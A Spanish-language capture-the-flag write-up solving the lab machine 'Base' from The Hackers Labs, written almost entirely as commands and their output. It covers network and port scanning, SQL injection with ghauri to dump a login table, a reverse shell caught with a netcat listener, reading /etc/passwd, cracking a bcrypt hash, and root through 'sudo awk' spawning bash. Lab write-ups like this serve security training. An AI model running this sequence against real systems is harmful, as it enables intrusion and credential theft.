murrusko

Base

13 Sep 2024

image

En esta ocasión voy a resolver una máquina Linux creada por rodgar de dificultad Avanzado para la plataforma de The Hackers Labs.

1: Escaneo de la red local

$ sudo arp-scan -I enp0s8 --localnet

Este comando utiliza arp-scan, que es una herramienta para descubrir hosts en una red local utilizando el protocolo ARP. La opción -I enp0s8 especifica la interfaz de red, que en este caso es enp0s8. El parámetro --localnet le dice a la herramienta que escanee toda la red local.

Salida:

10.0.2.10       08:00:27:11:15:84       PCS Systemtechnik GmbH

Aquí vemos que se encontró un dispositivo en la red local con la dirección IP 10.0.2.10 y la dirección MAC correspondiente.


2: Escaneo de puertos

$ rustscan -a 10.0.2.10 -b 10

Usamos rustscan, que es una herramienta rápida de escaneo de puertos, para ver qué puertos están abiertos en la máquina con IP 10.0.2.10. La opción -a especifica la dirección IP, y -b es para el batch size (número de puertos que se escanean simultáneamente).

Salida:

Open 10.0.2.10:22
Open 10.0.2.10:80
Open 10.0.2.10:8080

Esto nos dice que los puertos 22 (SSH), 80 (HTTP) y 8080 (HTTP alternativo) están abiertos.


3: Escaneo detallado con Nmap

$ sudo nmap -sCV -p22,80,8080 10.0.2.10

Con nmap hacemos un escaneo más profundo en los puertos descubiertos, usando las opciones -sCV para obtener versiones de los servicios y ejecutar scripts básicos. La opción -p especifica los puertos a escanear.

Salida:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))

Vemos que el puerto 22 está corriendo OpenSSH, y los puertos 80 y 8080 están usando el servidor web Apache. Además, el puerto 80 está corriendo una aplicación llamada FlatPress.


4: Explotación con SQLi

Echamos un vistazo a las webs que hay en el puerto 80 y 8080 y vemos que hay un posible SQLi al realizar una busqueda.

$ ghauri -u http://10.0.2.10:8080/search.php?query=a --dbs

Se utilizó ghauri, una herramienta para explotar inyecciones SQL (SQLi). La opción -u indica la URL objetivo, y --dbs pide que se enumeren las bases de datos disponibles.

Salida:

available databases [6]:
[*] performance_schema
[*] Nombres
[*] sys
[*] mysql
[*] information_schema
[*] FlatPress

Esto confirma que se puede explotar la vulnerabilidad SQLi, y muestra las bases de datos disponibles. Nos interesa la base de datos FlatPress.


5: Dump de la tabla de login

$ ghauri -u http://10.0.2.10:8080/search.php?query=a -D FlatPress -T login --dump

Aquí estamos dumpeando (extrayendo) el contenido de la tabla login en la base de datos FlatPress. La opción -D especifica la base de datos, -T la tabla, y --dump para volcar el contenido.

Salida:

+----+--------+-----------------------+
| id | user   | password              |
+----+--------+-----------------------+
| 1  | r0dgar | SNIETbkGBCnhFqeUJuqBO |
+----+--------+-----------------------+

Logramos extraer las credenciales del usuario r0dgar. Nos logueamos en el panel de admin con las credenciales y aprovechando de una vulnerabilidad que hay en la versión de FlatPress, subimos una shell reversa. Podemos seguir los pasos que explican aquí https://github.com/flatpressblog/flatpress/issues/152


6: Iniciar un listener con Netcat

$ nc -nlvp 8888

Con este comando usamos netcat para iniciar un listener en el puerto 8888. La opción -n deshabilita DNS, -l es para escuchar conexiones entrantes, -v para modo detallado, y -p especifica el puerto.

Salida:

Ncat: Connection from 10.0.2.10:52336.

Se establece una conexión desde la IP 10.0.2.10. Hacemos el tratamiento de la tty y ya estamos dentro del servidor.


7: Ver usuarios del sistema

www-data@TheHackersLabs-Base:/$ cat /etc/passwd | grep bash

Este comando muestra todos los usuarios del sistema que tienen acceso a un shell bash.

Salida:

root:x:0:0:root:/root:/bin/bash
pedro:x:1001:1001::/home/pedro:/bin/bash
flate:x:1002:1002::/home/flate:/bin/bash

Tenemos dos usuarios: pedro y flate.


8: Buscar archivos de pedro

www-data@TheHackersLabs-Base:/$ find / -user pedro -type f 2>/dev/null

Buscamos archivos que pertenezcan al usuario pedro. La opción 2>/dev/null es para ocultar mensajes de error.

Salida:

/opt/hash.txt

Encontramos un archivo interesante: /opt/hash.txt.


9: Ver contenido del archivo hash.txt

www-data@TheHackersLabs-Base:/$ cat /opt/hash.txt

Mostramos el contenido del archivo.

Salida:

$2b$12$Qq75yQ3G.ydG2nxr4LzAPeJ6GE8po1NtjOAGZ2l1aIGa5//I5J/Xq

Parece ser un hash bcrypt.


10: Cracking del hash

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

Usamos hashcat para crackear el hash usando la wordlist rockyou.txt.

Salida:

$2b$12$Qq75yQ3G.ydG2nxr4LzAPeJ6GE8po1NtjOAGZ2l1aIGa5//I5J/Xq:secret

La contraseña correspondiente al hash es secret.


11: Buscar en logs de Apache

pedro@TheHackersLabs-Base:/var/log/apache2$ grep -rnw flate .

Buscamos la palabra flate en los logs de Apache.

Salida:

./access.log.1:21:203.0.113.56 - flate [12/Sep/2024:12:03:55 +0000] "POST /login HTTP/1.1" 401 4812 "username=flate&password=HPAbcmOgSjidaoWkXUQjw"

Encontramos las credenciales de flate: HPAbcmOgSjidaoWkXUQjw.


12: Cambiar a usuario flate

pedro@TheHackersLabs-Base:/var/log/apache2$ su flate

Usamos el comando su para cambiar al usuario flate usando la contraseña encontrada.


13: Escalada de privilegios

flate@TheHackersLabs-Base:/var/log/apache2$ sudo -l

Vemos qué comandos puede ejecutar flate como root.

Salida:

(root) NOPASSWD: /usr/bin/awk

flate puede ejecutar awk como root sin contraseña.


14: Obtener shell root

flate@TheHackersLabs-Base:/var/log/apache2$ sudo awk 'BEGIN {system("/bin/bash")}'

Usamos awk para ejecutar un shell como root, aprovechando el permiso NOPASSWD.

Salida:

root@TheHackersLabs-Base:/var/log/apache2#

¡Ya somos root!